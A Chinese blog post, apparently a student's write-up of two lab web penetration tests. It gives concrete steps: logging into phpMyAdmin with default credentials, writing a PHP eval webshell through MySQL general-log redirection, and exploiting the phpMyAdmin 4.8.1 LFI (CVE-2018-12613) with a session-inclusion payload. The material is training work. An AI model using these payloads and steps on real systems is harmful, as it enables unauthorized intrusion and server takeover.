网络安全综合实训

小张童鞋。

已于 2024-02-10 17:50:16 修改

阅读量1.1k

点赞数 22

文章标签： web安全安全

于 2024-01-28 19:54:47 首次发布

本文链接：https://blog.csdn.net/2301_79639443/article/details/135876440

版权

实验1 web站点渗透测试1

实验准备

1、根据平台提供的靶机网址访问网站首页（10.0.26.10），首页界面如下图所示。

实验过程

2、使用目录扫描器御剑，对靶机站点进行目录扫描。发现目标站点下存在phpmyadmin目录以及一个info.php的文件。

3、访问info.php文件之后，发现其内容为php探针。通过php探针的信息，判断出该站点使用phpstudy搭建，因为使用phpstudy搭建的站点默认存在该探针文。且获得网站的绝对路径为“C:\phpStudy\PHPTutorial\WWW”3

4、访问phpmyadmin目录，使用phpstudy中mysql的默认密码（root/root）进行登录尝试，发现登录成功

5、因为以root权限登录了phpmyadmin且在步骤3已经通过php探针获取到了网站的绝对路径，所以接下来可以尝试利用日志文件来进行getshell。首先在sql处执行“SHOW VARIABLES LIKE 'general%'”查看是否开启日志功能以及日志文件的保存路径

6、由上图可知，“set global general_log = "ON";”开启mysql日志“setglobalgeneral_log_file='C://phpStudy//PHPTutorial//WWW//shell.php';”将日志文件的存储路径改为站点根目录下的shell.php 文件。

7、之后再执行sql语句“select ‘<?php @eval($_POST[1]);?>’”，向日志文件中写入php一句话木马。

8、之后在浏览器中访问mysql日志文件，shell.php。看到如图所示的界面表示shell写入成功。

9、使用蚁剑对webshell进行连接。（软件无法使用，下图为参照）

实验2 web站点渗透测试2

实验准备

根据平台提供的靶机网址访问网站首页（10.0.26.10），首页界面如下图所示。

实验过程

扫描目标站点目录，发现存在“www.zip”文件和phpmyadmin目录

2、下载“www.zip”文件，解压后发现为网址源代码文件。

3、打开config目录下的database.php文件。找到数据库连接的用户名和密码。

4、访问网站的phpmyadmin目录，使用在源代码中找到的数据库用户名和密码进行登录尝试。

5、登录成功后，发现phpmyadmin的版本为4.8.1，这个版本的phpmyadmin存在任意文件包含漏洞（CVE-2018-12613）。参考内容：https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-LFI-Exploit/6、利用CVE-2018-12613进行getshell。在SQL语句执行处执行<?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>，这句话的含义为向shell.php文件中写入一句话木马。

6、通过浏览器开发者工具—application

7、包含session文件，在phpmyadmin目录下生成webshell文件。Payload如下。http://183.129.189.59:10076/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_[此处为步骤7获取到的sessionID]（Cookies）